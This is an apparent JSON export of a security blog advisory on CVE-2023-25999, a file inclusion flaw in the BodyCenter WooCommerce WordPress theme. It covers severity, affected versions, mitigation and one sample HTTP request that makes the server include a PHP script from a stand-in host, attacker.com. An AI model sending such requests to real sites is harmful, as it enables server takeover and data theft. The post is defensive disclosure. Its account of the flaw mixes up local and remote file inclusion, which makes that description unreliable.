{"id":52169,"date":"2025-06-15T07:02:54","date_gmt":"2025-06-15T07:02:54","guid":{"rendered":""},"modified":"2025-06-21T05:01:58","modified_gmt":"2025-06-21T11:01:58","slug":"cve-2023-25999-critical-php-local-file-inclusion-vulnerability-in-bodycenter-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-25999-critical-php-local-file-inclusion-vulnerability-in-bodycenter-wordpress-theme\/","title":{"rendered":"<strong>CVE-2023-25999: Critical PHP Local File Inclusion Vulnerability in BodyCenter WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability CVE-2023-25999 is a critical flaw found in the BodyCenter &#8211; Gym, Fitness WooCommerce WordPress Theme. This vulnerability is a PHP Local File Inclusion (LFI) flaw, which can lead to potential system compromise and data leakage. It affects all versions up to and including 2.4 of the BodyCenter theme. The seriousness of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23107-severe-out-of-bounds-write-vulnerability-in-samsung-mobile-processor-exynos-1480-and-2400\/\"  data-wpil-monitor-id=\"58759\">vulnerability is reflected in its CVSS severity<\/a> score of 8.1, marking it as a high-risk issue.<br \/>\nThe vulnerability is particularly concerning due to the widespread use of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4578-sql-injection-vulnerability-in-file-provider-wordpress-plugin\/\"  data-wpil-monitor-id=\"58795\">WordPress<\/a> and WooCommerce in the fitness industry, potentially putting a multitude of gym and fitness centers at risk. In the wrong hands, this exploit could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21462-memory-corruption-vulnerability-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"59096\">lead to the compromise of sensitive customer data<\/a>, including personal fitness plans, billing information, and personal contact details.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2023-25999<br \/>\nSeverity: High (8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5527-critical-vulnerability-exposing-potential-system-compromise-in-tenda-rx3\/\"  data-wpil-monitor-id=\"58696\">Potential system compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1548856264\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>BodyCenter &#8211; Gym, Fitness <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28945-critical-php-remote-file-inclusion-vulnerability-in-valen-woocommerce-wordpress-theme\/\"  data-wpil-monitor-id=\"60218\">WooCommerce WordPress<\/a> Theme | Up to and including 2.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32105-buffer-overflow-vulnerability-in-sangoma-img2020-http-server-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"58555\">Remote File Inclusion vulnerability<\/a> in the BodyCenter theme results from improper control of the filename for include\/require statements in PHP. This allows an attacker to manipulate these statements and include files from remote servers, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21480-memory-corruption-vulnerability-in-gpu-micronode-leads-to-unauthorized-command-execution\/\"  data-wpil-monitor-id=\"58504\">leading to a local file inclusion vulnerability<\/a>. As a result, an attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32106-unauthenticated-remote-code-execution-in-audiocodes-mediapack-mp-11x\/\"  data-wpil-monitor-id=\"58576\">execute arbitrary PHP code<\/a> on the server, potentially leading to full system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-742670169\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an attacker might exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5671-critical-buffer-overflow-vulnerability-in-totolink-n302r-plus-http-post-request-handler\/\"  data-wpil-monitor-id=\"59515\">vulnerability using a crafted HTTP request:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker is manipulating the &#8216;page&#8217; parameter in the URL to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47586-php-remote-file-inclusion-vulnerability-in-stylemixthemes-motors-events\/\"  data-wpil-monitor-id=\"59945\">PHP file<\/a> hosted on their server (`attacker.com`). The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26592-php-remote-file-inclusion-vulnerability-in-ancorathemes-inset\/\"  data-wpil-monitor-id=\"60170\">file `malicious_script.txt` contains malicious PHP<\/a> code, which will be executed on the target server when the request is processed.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the patch provided by the vendor as soon as possible. If unable to update immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-49842-critical-memory-corruption-vulnerability-in-protected-vm-address-space\/\"  data-wpil-monitor-id=\"58849\">protection by detecting and blocking attempts to exploit this vulnerability<\/a>. However, this should only be considered as a stop-gap measure and not a full solution.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability CVE-2023-25999 is a critical flaw found in the BodyCenter &#8211; Gym, Fitness WooCommerce WordPress Theme. This vulnerability is a PHP Local File Inclusion (LFI) flaw, which can lead to potential system compromise and data leakage. It affects all versions up to and including 2.4 of the BodyCenter theme. The seriousness of this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-52169","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52169","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=52169"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52169\/revisions"}],"predecessor-version":[{"id":53938,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/52169\/revisions\/53938"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=52169"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=52169"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=52169"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=52169"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=52169"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=52169"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=52169"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=52169"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=52169"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}